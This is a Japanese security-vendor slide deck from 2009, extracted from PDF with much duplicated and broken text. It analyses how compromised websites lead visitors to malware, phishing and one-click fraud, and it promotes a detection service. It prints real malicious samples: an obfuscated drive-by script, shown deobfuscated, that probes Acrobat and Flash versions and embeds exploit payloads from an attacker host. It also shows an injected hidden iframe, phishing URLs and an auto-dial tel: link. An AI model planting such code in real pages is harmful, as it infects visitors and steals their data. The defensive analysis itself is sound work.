攻撃者
Group2
Group2
inject
閲覧者
26
不正コンテンツへの
不正コンテンツへの新
コンテンツへの新しい誘導手法
しい誘導手法(3/5)
誘導手法
Group1
Group1:悪意のある
悪意のある難読化
のある難読化されたスクリプトファイルをアップロードされたウェブサイト
難読化されたスクリプトファイルをアップロードされたウェブサイト
27
不正コンテンツへの
不正コンテンツへの新
コンテンツへの新しい誘導手法
しい誘導手法(3/5)
誘導手法
Group1
Group1:悪意のある
悪意のある難読化
のある難読化されたスクリプトファイルをアップロードされたウェブサイト
難読化されたスクリプトファイルをアップロードされたウェブサイト
<アップロードされたファイル>
①データフォルダ(s/)
感染や管理に使うファイル
②難読化された悪意のスクリプトファイル(***.php)
拡張子は「.php」であるが、中身はJavaScript
shopping_cart.phpなど、いかにも利用されていそうな名前にされている
28
不正コンテンツへの
不正コンテンツへの新
コンテンツへの新しい誘導手法
しい誘導手法(3/5)
誘導手法
Group1
Group1:悪意のある
悪意のある難読化
のある難読化されたスクリプトファイルをアップロードされたウェブサイト
難読化されたスクリプトファイルをアップロードされたウェブサイト
29
不正コンテンツへの
不正コンテンツへの新
コンテンツへの新しい誘導手法
しい誘導手法(4/5)
誘導手法
Group1
Group1:悪意のある
悪意のある難読化
のある難読化されたスクリプトファイルをアップロードされたウェブサイト
難読化されたスクリプトファイルをアップロードされたウェブサイト
アップロードされた悪意のあるファイル
//<script>
qdlT=24;if(unescape)qdlT='';XGB=unescape('%'+qdlT);
var ih3Oo='dI6fc~75~6denk74.wriI74e(I22~3c~64i~76I20styl~…~74e(~22~3cI2fdiv~3eI22)I3b';
eval(unescape(ih3Oo.replace(/[~kI]/g,XGB)));
function ttt(){return "BMCZDD3DDDDlDDrDUUrDD8nDDD…DDDss"}
//</script>
難読化の解除結果
document.write("<div style=¥"position:absolute; left:-1000px; top:-1000px;¥">");
var zfQmm = null;
try {
zfQmm = new ActiveXObject(“AcroPDF.PDF”); } catch(e) {}
if (!zfQmm) {
try {
zfQmm = new ActiveXObject(“PDF.PdfCtrl”);
} catch(e) {} }
if (zfQmm) {
lv = ((zfQmm.GetVersions().split(","))[4].split("="))[1].replace(/¥./g, "");
if ((lv < 900) && (lv != 813)) document.write('<embed src="http://o0w0o.com/tmp/wedding.php?s=C4T8bL1r&id=2" width=100 height=100 type="application/pdf"></embed>');
}try {
var zfQmm = 0;
zfQmm = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$" + "version").split(",");
} catch(e) {}
if (zfQmm && (zfQmm[2] < 124))
document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width=100 height=100 align=middle>
<param name="movie" value="http://o0w0o.com/tmp/wedding.php?s=C4T8bL1r&id=3"/><param name="quality" value="high"/>
<param name="bgcolor" value="#ffffff"/><embed src="http://o0w0o.com/tmp/wedding.php?s=C4T8bL1r&id=3"/></embed></object>');
30
不正コンテンツへの
不正コンテンツへの新
コンテンツへの新しい誘導手法
しい誘導手法(4/5)
誘導手法
Group1
Group1:悪意のある
悪意のある難読化
のある難読化されたスクリプトファイルをアップロードされたウェブサイト
難読化されたスクリプトファイルをアップロードされたウェブサイト
アップロードされた悪意のあるファイル
//<script>
qdlT=24;if(unescape)qdlT='';XGB=unescape('%'+qdlT);
var ih3Oo='dI6fc~75~6denk74.wriI74e(I22~3c~64i~76I20styl~…~74e(~22~3cI2fdiv~3eI22)I3b';
eval(unescape(ih3Oo.replace(/[~kI]/g,XGB)));
function ttt(){return "BMCZDD3DDDDlDDrDUUrDD8nDDD…DDDss"}
//</script>
難読化の解除結果
document.write("<div style=¥"position:absolute; left:-1000px; top:-1000px;¥">");
var zfQmm = null;
try {
zfQmm = new ActiveXObject(“AcroPDF.PDF”); } catch(e) {}
if (!zfQmm) {
try {
zfQmm = new ActiveXObject(“PDF.PdfCtrl”);
} catch(e) {} }
if (zfQmm) {
lv = ((zfQmm.GetVersions().split(","))[4].split("="))[1].replace(/¥./g, "");
if ((lv < 900) && (lv != 813)) document.write('<embed src="http://o0w0o.com/tmp/wedding.php?s=C4T8bL1r&id=2" width=100 height=100 type="application/pdf"></embed>');
}try {
PDF、Flash の脆弱性を利用した複数の
マルウェアが準備されている。アクセスし
} catch(e) {}
た利用者の環境に合わせたマルウェア
if (zfQmm && (zfQmm[2] < 124))
document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width=100 height=100 align=middle>
の感染を行う
var zfQmm = 0;
zfQmm = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$" + "version").split(",");
<param name="movie" value="http://o0w0o.com/tmp/wedding.php?s=C4T8bL1r&id=3"/><param name="quality" value="high"/>
<param name="bgcolor" value="#ffffff"/><embed src="http://o0w0o.com/tmp/wedding.php?s=C4T8bL1r&id=3"/></embed></object>');
31
不正コンテンツへの
不正コンテンツへの新
コンテンツへの新しい誘導手法
しい誘導手法(5/5)
誘導手法
Group2
Group2:スクリプトファイルを自動的
スクリプトファイルを自動的にダウンロードおよび
自動的にダウンロードおよび実行
にダウンロードおよび実行する
実行する難読化
する難読化されていない
難読化されていない
HTMLコードがインジェクトされたウェブサイト
HTML
コードがインジェクトされたウェブサイト
インジェクトされた不正コード
<script src=http://xxx/xxx.php></script>
①のウェブサイトへのURLがインジェクトされる
特徴
Group1
Group1:悪意のある
悪意のある難読化
のある難読化されたスクリプトファイルをアップロードされたウェブサイ
難読化されたスクリプトファイルをアップロードされたウェブサイ
トは、
HTMLコンテンツを
コンテンツを改
ざんせず、
トは
、HTML
コンテンツを
改ざんせず
、ファイルをアップロードするのみ
HTMLコンテンツを
コンテンツを解析
解析しても
しても、
検知できない
HTML
コンテンツを
解析
しても
、検知
できない
Group2
Group2:スクリプトファイルを自動的
スクリプトファイルを自動的にダウンロードおよび
自動的にダウンロードおよび実行
にダウンロードおよび実行する
実行する難読化
する難読化されてい
難読化されてい
ないHTML
HTMLコードがインジェクトされたウェブサイト
ない
HTML
コードがインジェクトされたウェブサイト
難読化などの
難読化などの特徴
などの特徴がないため
特徴がないため、
がないため、判断が
判断が困難
Group1
Group1、2とも正規
とも正規のサイトであるため
正規のサイトであるため、
のサイトであるため、ブラックリストでは判断
ブラックリストでは判断が
判断が困難
32
Group1
Group1、2の両方の
両方の特徴を
特徴を備えたウェブサイトも存在
えたウェブサイトも存在する
存在する
不正コンテンツへの最新の誘導テクニック
‐難読化されたコードのinjectによる誘導
‐SEOや多段ネットワークを利用した誘導
‐複合型
‐フィッシング・ワンクリック
33
SEOや多段ネットワークを利用した誘導(1/4)
2009年
2009年9月サモアの地震
サモアの地震に
地震に便乗した
便乗したbogusware
したboguswareや
boguswareやmalware配信
malware配信サイト
配信サイト
SEO(
SEO(Search engine optimization)
optimization)の最適化により
最適化により、
検索結果の上位に
上位に表示され
表示され多
により、検索結果の
され多くのユ
ーザを誘導
ーザを
誘導
HTTPStatusCode 302を
302を返答し
返答し多段の
多段のRedirectorを
Redirectorを経由させ
経由させ、
させ、悪意のあるサイトに
悪意のあるサイトに誘導
のあるサイトに誘導
HTTP referrerを
referrerを確認し
確認し、検索エンジンからの
検索エンジンからの検索結果
エンジンからの検索結果からのみアクセス
検索結果からのみアクセス可能
からのみアクセス可能
referrer:
referrer: HTTPヘッダの
HTTPヘッダの1
ヘッダの1つで、
つで、インターネット上
インターネット上の1つのウェブページまたはリソースから見
つのウェブページまたはリソースから見て、それにリンクしているウェブページやリソー
スのアドレスを指
スのアドレスを指す。リファラを参照
リファラを参照することで
どこからそのページに要求が
たのかを知ることができる。
ることができる。
参照することで、
することで、どこからそのページに要求
要求が来たのかを知
フリー百科事典
百科事典『『ウィキペディア
ウィキペディア((Wikipedia
Wikipedia))』より
フリー
百科事典
検証では
http://search.yahoo.com/ではリダイレクトされず
ではリダイレクトされず、
検証ではhttp://search.yahoo.com/
ではhttp://search.yahoo.com/
ではリダイレクトされず、
http://search.yahoo.com/search?p=&toggle=&cop=&ei=
p=&toggle=&cop=&ei=ではリダイレクトを
ではリダイレクトを確認
http://search.yahoo.com/search?
p=&toggle=&cop=&ei=
ではリダイレクトを
確認
多段のネットワークを
多段のネットワークを構成
のネットワークを構成
Redirector
afmissileers.com…
34
0a3.ru/t.php
Redirector
mymy-gardengarden-state.com/…
bogusware
computercomputer-scanner02.com…
SEOや多段ネットワークを利用した誘導(2/4)
多段のネットワークを
多段のネットワークを構成
のネットワークを構成による
構成による誘導
による誘導
同じPCからアクセスしても
PCからアクセスしても、
からアクセスしても、異なる攻撃者
なる攻撃者ウェブサイトに
攻撃者ウェブサイトに誘導
ウェブサイトに誘導されることがあった
誘導されることがあった
Samoa
Redirector
tsunami
afmissileers.com…
35
0a3.ru/t.php
Redirector
mymy-gardengarden-state.com/…
bogusware
computercomputer-scanner02.com…
SEOや多段ネットワークを利用した誘導(2/4)
多段のネットワークを
多段のネットワークを構成
のネットワークを構成による
構成による誘導
による誘導
同じPCからアクセスしても
PCからアクセスしても、
からアクセスしても、異なる攻撃者
なる攻撃者ウェブサイトに
攻撃者ウェブサイトに誘導
ウェブサイトに誘導されることがあった
誘導されることがあった
Samoa
Redirector
tsunami
afmissileers.com…
0a3.ru/t.php
Redirector
mymy-gardengarden-state.com/…
bogusware
computercomputer-scanner02.com…
最新の事件、事
故等のニュース
<推測>
36
新しいキーワードにて誘導する際に、既存の
多段ネットワークを利用できる
SEOや多段ネットワークを利用した誘導(2/4)
<推測>
多段のネットワークを
多段のネットワークを構成
のネットワークを構成による
構成による誘導
による誘導
ブラックリストに指定されても、他の経路
同じPCからアクセスしても
PCからアクセスしても、
からアクセスしても、異なる攻撃者
なる攻撃者ウェブサイトに
攻撃者ウェブサイトに誘導
ウェブサイトに誘導されることがあった
誘導されることがあった
にて誘導できる
Samoa
Redirector
tsunami
Redirector
bogusware
×
afmissileers.com…
0a3.ru/t.php
mymy-gardengarden-state.com/…
computercomputer-scanner02.com…
最新の事件、事
故等のニュース
<推測>
37
新しいキーワードにて誘導する際に、既存の
多段ネットワークを利用できる
SEOや多段ネットワークを利用した誘導(3/4)
LocationにてRedirectorを指定
38
SEOや多段ネットワークを利用した誘導(4/4)
ブラウザ上
ブラウザ上にあたかも利用
にあたかも利用PC
利用PCをウイルススキャンしているかのようなアニメーションが
PCをウイルススキャンしているかのようなアニメーションが表
をウイルススキャンしているかのようなアニメーションが表
boguswareをインストールするよう
をインストールするよう促
される(
JavaScriptにて
にて作成
作成)
れ、 bogusware
をインストールするよう
促される
(JavaScript
にて
作成
)
39
不正コンテンツへの最新の誘導テクニック
‐難読化されたコードのinjectによる誘導
‐SEOや多段ネットワークを利用した誘導
‐複合型
‐フィッシング・ワンクリック
40
Webサイト改ざんによる不正サイトへの誘導[Nine Ball](1/2)
通称Nine
通称Nine Ballウイルス
Ballウイルス(
ウイルス(Gumblarウイルスの
Gumblarウイルスの亜種
ウイルスの亜種)
亜種)
HTTPStatusCode 302を
302を返答し
返答し多段の
多段のRedirectorを
Redirectorを経由させ
経由させ、
悪意のあるサイトに誘導
させ、悪意のあるサイトに
のあるサイトに誘導
正規の
正規のWebサイトを
Webサイトを改
サイトを改ざんし、
ざんし、そのサイトを閲覧
そのサイトを閲覧すると
閲覧すると自動的
すると自動的に
自動的に不正なサイトに
不正なサイトに誘導
なサイトに誘導する
誘導する
不正サイトはマルウェアを
不正サイトはマルウェアを配信
サイトはマルウェアを配信
Acrobat Readerや
ReaderやQuickTimeなどの
QuickTimeなどの脆弱性
などの脆弱性を
脆弱性を突いてトロイの木馬
いてトロイの木馬をインストールし
木馬をインストールし、
をインストールし、ユーザーの
個人情報を
dllファイル
ファイル「
SOCKET2」
Windowsのシステムフォルダにダウンロードする
個人情報
を盗むdll
ファイル
「SOCKET2
」をWindows
のシステムフォルダにダウンロードする
改ざん(
ざん(追加されたコード
追加されたコード)
されたコード)は難読化されており
難読化されており、
されており、検知や
検知や解析を
解析を困難とする
困難とする
正規サイト
正規サイト
41
Redirector
Redirector
Redirector
bogusware
rnw.kz
bro.tw
rmi.tw
ninetoraq.in
Webサイト改ざんによる不正サイトへの誘導[Nine Ball](2/2)
難読化されたコードを
難読化されたコードを解除
されたコードを解除することで
解除することで、
することで、挙動を
挙動を解析
改ざん(inject)コード
var hdOruVsHnKBXZuvtsRmw = “z60z105z102z114z97z109z101z32z119z105z100z116z104z61z34z52z56z48z34z32z104z101z105z103z104z116
…
111z122z45z111z112z97z99z105z116z121z58z48z34z62z60z47z105z102z114z97z109z101z62";
var kWiFaYwHrXtZBIQvdJDR = hdOruVsHnKBXZuvtsRmw.split("z");
var TEptzkmsBZolwWqWunem = "";
for (var KYLMhcILlLcFQRyPBlHD=1; KYLMhcILlLcFQRyPBlHD<kWiFaYwHrXtZBIQvdJDR.length; KYLMhcILlLcFQRyPBlHD++){
TEptzkmsBZolwWqWunem+=String.fromCharCode(kWiFaYwHrXtZBIQvdJDR[KYLMhcILlLcFQRyPBlHD]);
}
document.write(TEptzkmsBZolwWqWunem)
iframeダグに「 http://rnw.kz/index.php」
が設定され自動的に悪意のサイト(コン
難読化の解除結果
<iframe width="480" height="60" src="http://rnw.kz/index.php" style="border:0px;
position:relative; top:0px; left:-500px; opacity:0;
filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0); -moz-opacity:0"></iframe>
42
テンツ)を実行
不正サイト検知対策を施したサイト
Null文字
Null文字(0x00
文字(0x00)
(0x00)が埋め込まれている
Null文字
Null文字(
文字(0x00)
0x00)を埋め込むことで、
むことで、コンテンツ比較
コンテンツ比較による
比較による検知
による検知や
検知や解析を
解析を困難とさせる
困難とさせる
IEの
IEの仕様では
仕様では、
では、0x00~
0x00~0x1f, 0x7f などの制御文字
などの制御文字は
制御文字は無効とされるため
無効とされるため、
とされるため、問題なく
問題なく動作
なく動作する
動作する
※ Firefox(
Firefox(Ver3.5)
Ver3.5)ではエラーとなる
Null文字(0x00)が埋め込まれたサイト
a le r t ( ' a b c ! ! !');
document.w r ite ( ' < i f r a m e s r c = " h tt p: / / w w w . y a h o o.co.jp"></iframe>');
※Null文字(0x00)をスペースとして表示
IEでは
alert('abc!!!');
document.write('<iframe src="http://www.yahoo.co.jp"></iframe>');
IEではNull文字(0x00)を無視するため
不正サイトに誘導される
43
不正コンテンツへの最新の誘導テクニック
‐難読化されたコードのinjectによる誘導
‐SEOや多段ネットワークを利用した誘導
‐複合型
‐フィッシング・ワンクリック
44
Phishingサイト(1/4)
本物のサイトドメインに
本物のサイトドメインに似
のサイトドメインに似たドメインを取得
たドメインを取得している
取得している
本物のコンテンツに
本物のコンテンツに酷似
のコンテンツに酷似したコンテンツとなっている
酷似したコンテンツとなっている
いくつかは現在
いくつかは現在でも
現在でも運用
でも運用されている
運用されている
Microsoftのドメインに似せたフィッシングサイト
hxxp://update.microsoft.com.11hilf.com/microsoftofficeupdate/isapdl/default.aspx/officexp11hilf.com/microsoftofficeupdate/isapdl/default.aspx/officexp-KB910721KB910721-FullFileFullFile-ENU.exe
アメリカ合衆国内国歳入庁(The Internal Revenue Service)
hxxp://www.irs.gov.
juhh1wh.com/fraud_application/directory/[email protected]&tid=cc-00000174073547US
xxp://www.irs.gov.juhh1wh.com/fraud_application/directory/[email protected]&tid=cc
Yahoo Phishing
hxxp://pistauctionsmaniuari.100megsfree8.com/yahooyahoo-actions.co.jp/index.htm
PlayOnline Phishing
hxxp://www.playonline.tc/
45
Phishingサイト(2/4)
46
Phishingサイト(3/4)
47
Phishingサイト(3/4)
48
Phishingサイト(4/4)
49
携帯向けワンクリックサイト
携帯電話向けサイト
携帯電話向けサイト
提供コンテンツを
提供コンテンツを利用
自動的に指定された
指定された番号
発信する
コンテンツを利用すると
利用すると同時
すると同時に
同時に、自動的に
された番号に
番号に発信する
「186」
186」は強制的に
強制的に自分の
自分の携帯番号を
携帯番号を通知する
通知する
携帯番号が
携帯番号が収集され
収集され、
され、悪徳業者等から
悪徳業者等から連絡
から連絡や
連絡や振り込め詐欺等につかわれる
詐欺等につかわれる
仕掛けられたコード
<a href="tel:1860367389015">
<font color="red">【再生する】</font>
</a>
tel:は携帯電話から自動的に発信する
コード
②仕掛けられた電話番号に186発信
①コンテンツクリック
【再生する】
50
最新の不正サイト検知技術
51
最新の不正サイト検知技術
基本的にブラックリストを
基本的にブラックリストを利用
にブラックリストを利用せず
利用せず、
せず、現状のコンテンツを
現状のコンテンツを検査
のコンテンツを検査
ヒューリスティックエンジンにより、
ヒューリスティックエンジンにより、調査した
調査したURL
したURLが
URLが不正なものであるか
不正なものであるか否
なものであるか否か検査
難読化されたコードにも
難読化されたコードにも対応
されたコードにも対応
実行ファイルにも
実行ファイルにも対応
ファイルにも対応
gredでチェック
gredでチェック
http://www.*******.co.jp/
http://www.gred.jp/
②自動検査
①URL入力
http://www.*******.co.jp/
③結果
52
ウェブコンテンツの収集
指定URL
指定URLコンテンツをダウンロード
URLコンテンツをダウンロード
script/frame/iframeなど
script/frame/iframeなど、
関連するファイルをまとめて検査
など、関連するファイルをまとめて
するファイルをまとめて検査
実行ファイル
実行ファイル(
ファイル(.exe/.pdf/.src/.swf etc)
etc)もダウンロード
xyz.js
HTML
<script src= http://xyz.js >
<html>
<head>
<iframe src=“...”> http://abc.html </iframe>
abc.html
<a href=“cache/readme.exe”></iframe>
<html>
<head>
(function(){var x8fk='%';var
xXs='var"20"61"3d"22S"63riptEng"69ne"22"2cb"3d"22"56"65r"73ion…
バイナリファイル
‘P@(r!o^(g)!#r#$(a&m@& )F#)(#i^!@$l^$e#&s$^^’.replace(/#|¥$|¥^|¥!|@|¥(|¥)
|&/ig, ‘’)
53
難読化コードへの対策
JavaScript エミュレーション
JavaScriptエンジンにて
JavaScriptエンジンにてJavaScript
エンジンにてJavaScriptファイルを
JavaScrip
JavaScriptファイルを実行
ファイルを実行し
実行し、document.writeや
document.writeやeval関数
eval関数をフックするこ
関数をフックするこ
とで、
難読化前のコードを
のコードを取得
取得する
とで
、難読化前
のコードを
取得
する
JavaScript構文解析
JavaScript構文解析
JavaScriptの
JavaScriptの構文を
構文を解析し
解析し、難読化前のコードを
難読化前のコードを取得
のコードを取得する
取得する
HTML
(function(){var x8fk='%';var
xXs='var"20"61"3d"22S"63riptEng"69ne"22"2cb"3d"22"56"65r"73ion…
‘P@(r!o^(g)!#r#$(a&m@& )F#)(#i^!@$l^$e#&s$^^’.replace(/#|¥$|¥^|¥!|@|¥(|¥)|&/ig, ‘’)
<<Dynamic JavaScript Emulation log>>
<iframe src=“...”>http://STO.html</iframe>
<iframe src=“...”>http://SSS.html</iframe>
<<Static JavaScript Emulation log>>
‘Program Files’
54
検知ロジック(1/2)
マージしたファイルとヒューリスティックルールをマッチング
関連するファイル
関連するファイル、
するファイル、難読化されたコード
難読化されたコード、
されたコード、難読化を
難読化を解除したコードすべてを
解除したコードすべてを検査対象
したコードすべてを検査対象
検知ルールにより
検知ルールにより問題
ルールにより問題(
問題(被害)
被害)のカテゴリも分析
のカテゴリも分析
HTML
<script src= http://xyz.js >
<html>
<head>
検知ルール
<iframe src=“...”> http://abc.html </iframe>
フィッシング
<html>
<head>
ワンクリック
<a href=“cache/readme.exe”></iframe>
偽ソフトウェア
(function(){var x8fk='%';var
xXs='var"20"61"3d"22S"63riptEng"69ne"22"2cb"3d"22"56"65r"73ion…
ヒューリスティックルール
不正攻撃
不正改ざん
ウイルス
‘P@(r!o^(g)!#r#$(a&m@& )F#)(#i^!@$l^$e#&s$^^’.replace(/#|¥$|¥^|¥!|@|¥(|¥)|&/ig, ‘’)
ワーム
スパイウェア
マルウェア
<<Dynamic JavaScript Emulation log>>
<iframe src=“...”>http://STO.html</iframe>
<iframe src=“...”>http://SSS.html</iframe>
<<Static JavaScript Emulation log>>
55
‘Program Files’
検知ロジック(2/2)
実行ファイル
実行ファイル等
ファイル等は独自解析エンジンにて
独自解析エンジンにて解析
エンジンにて解析
各項目に
各項目に合致するか
合致するか判定
するか判定し
判定し、スコア合計
スコア合計と
合計と閾値を
閾値を比較することで
比較することで正否判定
することで正否判定
デジタル署名
デジタル署名:
署名:デジタル署名
デジタル署名の
署名の有無
アンチデバッキングコード:
アンチデバッキングコード:使用IAT
使用IAT(
IAT(Import Address Table)
Table)内のアンチデバッキングコード
の有無
パッカー:
パッカー:パッカーによってパックされているか否
パッカーによってパックされているか否か
使用API
使用API:
API:使用IAT
使用IAT内
IAT内で不正プログラムがよく
不正プログラムがよく利用
プログラムがよく利用する
利用するAPI
するAPIが
APIが含まれているか否
まれているか否か
実行ファイル
実行ファイル静的解析
.exe/.src etc
56
不正 or 正常
最近の統計情報
2009年
2009年11月
11月4日現在 gred検索統計情報
gred検索統計情報
チェックしたURL:7,689,248
チェックしたURL:7,689,248件
URL:7,689,248件(問題のある
問題のあるURL
のあるURL:
URL:73,206件
73,206件)
最近(
最近(5~9月)までの統計情報
までの統計情報
57
まとめ
不正コンテンツへの
不正コンテンツへの最新
誘導テクニック
コンテンツへの最新の
最新の誘導テクニック
JavaScriptの
JavaScriptの難読化
SEOを
SEOを利用したサイト
利用したサイト誘導
したサイト誘導
多段のネットワークや
多段のネットワークやreferrer
のネットワークやreferrer管理
referrer管理による
管理による誘導
による誘導
正規のサイトを
正規のサイトを踏
のサイトを踏み台にした誘導
にした誘導
最新の
最新の不正サイト
不正サイト検知技術
サイト検知技術
難読化の
難読化の解除
リアルタイムのコンテンツ収集
リアルタイムのコンテンツ収集
ヒューリスティックによる検知
ヒューリスティックによる検知
58
gredでチェック
http://www.gred.jp/
59
gredでチェック
http://www.gred.jp/
h
w
60
gredセキュリティサービス
登録されているURLに改ざんがあった場合、トップページの「SAFE」の緑のマークが「改ざんを発見」の赤のマークに
変化します。また、アラート用に登録されたメールアドレスに改ざん発見の通知が届きます。詳細はそのメールに記
載されているURLをクリックするか、トップページのカレンダーの赤い「×」アイコンをクリックすると確認していただけ
ます。
■ウェブ解析管理コンソールTOPページ(改ざんを検知した場合)
■詳細ページ
61
ご静聴ありがとうございました
2009年11月
株式会社セキュアブレイン
62
63